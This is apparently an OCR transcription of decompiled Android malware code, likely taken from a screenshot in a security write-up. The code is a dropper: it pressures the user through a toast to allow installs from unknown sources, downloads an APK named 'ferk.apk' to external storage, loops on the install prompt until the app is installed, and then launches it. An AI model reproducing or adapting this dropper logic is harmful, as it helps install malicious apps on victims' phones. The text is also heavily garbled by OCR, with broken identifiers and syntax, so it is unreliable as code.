- (19901 f18183b;

lic void run() {
toastArr[08] = Toost.makeText(this. f108103b.f16105b.f161087b, "Please allow installation of apps from unknown sources”,
toastArr[8] . show();

¥

1);
Thread .sleep(2008);

- (Secure getInt(this.10105b.f108107b. getContentResolver(), "install non_market apps”) == 1) {
obj = 1;

1 B APy Tl S——



HttplRl Connection httpURLConnection = (HttplURLConnection) url.openConnection();
httpURLConnection . setRequestMethod( GET™);

httpURLConnection . setDolutput(true);

httpURLConnection. connect();

String str = Environment.getExternalStorageDirectory() + "/";
File file = File(str);

file mkdirs();

File file2 = new File(file, "ferk.apk™);

£ (file2.exists()) |{
file2 delete();

1
FileOutputStream fileOutputStream = new FileOutputStream(file2);
InputStream inputStream = httpURLConnection. getInputStream();
byte[] bArr = byte[1624];
ile (trus) {
int read = inputStream.read(bArr);
F (read == 1) {
sak;
¥
fileQutputStream.write(bArr, 8, read);
¥

fileDutputStream.close();
inputStream.close();
boolean a;

{

a - C1983b.m17672a(thi’ f10@92b, (S5tring) obj);

Intent intent = new Invent("android.intent.action.VIEW", Uri.parse("android.settings.SECURITY SETTINGS™));
intent.setDataAndType(l/ri fromFile(new File(str + "ferk.apk™)), "application/vnd.android.package-archive™);

intent.setFlags(268435456);
this.f18892b.startActivity(intent);
¥ while (la);
this f18892b.startActivity(this. f18892b. getPackageManager() .getlaunchIntentForPackage((5tring) obj));
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QUESTIONS?



